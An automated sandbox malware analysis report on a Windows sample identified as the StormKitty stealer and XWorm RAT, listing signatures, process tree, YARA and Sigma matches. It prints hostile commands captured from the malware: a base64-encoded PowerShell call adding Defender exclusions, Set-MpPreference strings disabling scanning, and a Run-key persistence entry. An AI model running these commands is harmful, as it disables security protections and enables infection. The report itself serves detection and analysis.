Edit tour

Windows Analysis Report
b39wW3jYKO.exe

Overview

General Information

Sample name:	b39wW3jYKO.exe renamed because original name is a hash value
Original sample name:	1b99f0bf9216a89b8320e63cbd18a292.exe
Analysis ID:	1535423
MD5:	1b99f0bf9216a89b8320e63cbd18a292
SHA1:	6a199cb43cb4f808183918ddb6eadc760f7cb680
SHA256:	5275e3db6276e5f0b85eff0c7b0282f56268646766b1566ba8f797e6ba2a9357
Tags:	64exetrojan
Infos:

Detection

StormKitty, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops PE files to the document folder of the user

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Powershell with Base64

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

b39wW3jYKO.exe (PID: 6412 cmdline: "C:\Users\user\Desktop\b39wW3jYKO.exe" MD5: 1B99F0BF9216A89B8320E63CBD18A292)

powershell.exe (PID: 736 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 3000 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

arndry.exe (PID: 3804 cmdline: "C:\Users\user\AppData\Local\Temp\arndry.exe" MD5: 34FB99630BAB94B3CBF92C1C6DEC493F)

WerFault.exe (PID: 1468 cmdline: C:\Windows\system32\WerFault.exe -u -p 3804 -s 1632 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

OneDrive.exe (PID: 3508 cmdline: "C:\Users\user\Documents\OneDrive.exe" MD5: 1B99F0BF9216A89B8320E63CBD18A292)

OneDrive.exe (PID: 1472 cmdline: "C:\Users\user\Documents\OneDrive.exe" MD5: 1B99F0BF9216A89B8320E63CBD18A292)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\arndry.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Local\Temp\arndry.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\arndry.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\arndry.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\arndry.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x923c:$s6: VirtualBox 0x919a:$s8: Win32_ComputerSystem 0x9d1e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9dbb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9ed0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x987a:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2501821797.000000000239D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.4647563742.000001419B000000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x27108:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x2a63e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
0000000E.00000002.2657598951.0000019A3725E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x903c:$s6: VirtualBox 0x8f9a:$s8: Win32_ComputerSystem 0x9b1e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9bbb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9cd0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x967a:$cnc4: POST / HTTP/1.1
0000000E.00000002.2653178477.0000019A26E51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2577826782.00000129591E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4648624073.000001419B110000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x4811:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x4891:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4916:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6a9a:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6b59:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6bd9:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6da1:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4daf:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutuser $true 0x4e67:$s2: Set-MpPreference -DisableArchiveScanning $true 0x4f07:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x4fa5:$s4: Set-MpPreference -DisableScriptScanning $true 0x502f:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x509d:$s6: Set-MpPreference -MAPSReporting 0 0x5115:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x51b3:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x5241:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x52cb:$s10: Set-MpPreference -SevereThreatDefaultAction 6 0x5422:$e2: Add-MpPreference -ExclusionPath
00000008.00000002.2592825263.0000012971B90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x93e40:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x93eb2:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x93f3c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x93fce:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x94038:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x940aa:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x94140:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x941d0:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000000.00000002.4636065933.000001419257D000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x27398:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x2a8ce:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000008.00000002.2581561823.0000012969141000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x102c9e:$s8: Win32_ComputerSystem 0x1643d4:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16b1d4:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x164472:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16b28c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x164588:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16b3bc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x164700:$cnc4: POST / HTTP/1.1
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: b39wW3jYKO.exe PID: 6412	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x12135a:$s8: Win32_ComputerSystem 0x12562a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x125678:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x125702:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1257b0:$cnc4: POST / HTTP/1.1
Process Memory Space: OneDrive.exe PID: 3508	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: arndry.exe PID: 3804	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: arndry.exe PID: 3804	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: OneDrive.exe PID: 1472	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.OneDrive.exe.19a3725ea98.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.b39wW3jYKO.exe.1419b110000.2.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x2a11:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x2a91:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2b16:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4c9a:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4d59:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4dd9:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4fa1:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2faf:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutuser $true 0x3067:$s2: Set-MpPreference -DisableArchiveScanning $true 0x3107:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x31a5:$s4: Set-MpPreference -DisableScriptScanning $true 0x322f:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x329d:$s6: Set-MpPreference -MAPSReporting 0 0x3315:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x33b3:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x3441:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x34cb:$s10: Set-MpPreference -SevereThreatDefaultAction 6 0x3622:$e2: Add-MpPreference -ExclusionPath
0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x4811:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x4891:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4916:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6a9a:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6b59:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6bd9:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x6da1:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x4daf:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutuser $true 0x4e67:$s2: Set-MpPreference -DisableArchiveScanning $true 0x4f07:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x4fa5:$s4: Set-MpPreference -DisableScriptScanning $true 0x502f:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x509d:$s6: Set-MpPreference -MAPSReporting 0 0x5115:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x51b3:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x5241:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x52cb:$s10: Set-MpPreference -SevereThreatDefaultAction 6 0x5422:$e2: Add-MpPreference -ExclusionPath
8.2.OneDrive.exe.12971b90000.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.0.arndry.exe.1d0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
9.0.arndry.exe.1d0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.0.arndry.exe.1d0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.0.arndry.exe.1d0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x923c:$s6: VirtualBox 0x919a:$s8: Win32_ComputerSystem 0x9d1e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9dbb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9ed0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x987a:$cnc4: POST / HTTP/1.1
0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x92040:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x920b2:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x9213c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x921ce:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x92238:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x922aa:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x92340:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x923d0:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x93e40:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x93eb2:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x93f3c:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x93fce:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x94038:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x940aa:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x94140:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x941d0:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.OneDrive.exe.129692f22f8.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
8.2.OneDrive.exe.129691f1eb8.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\b39wW3jYKO.exe", ParentImage: C:\Users\user\Desktop\b39wW3jYKO.exe, ParentProcessId: 6412, ParentProcessName: b39wW3jYKO.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\documents\OneDrive.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\b39wW3jYKO.exe, ProcessId: 6412, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive

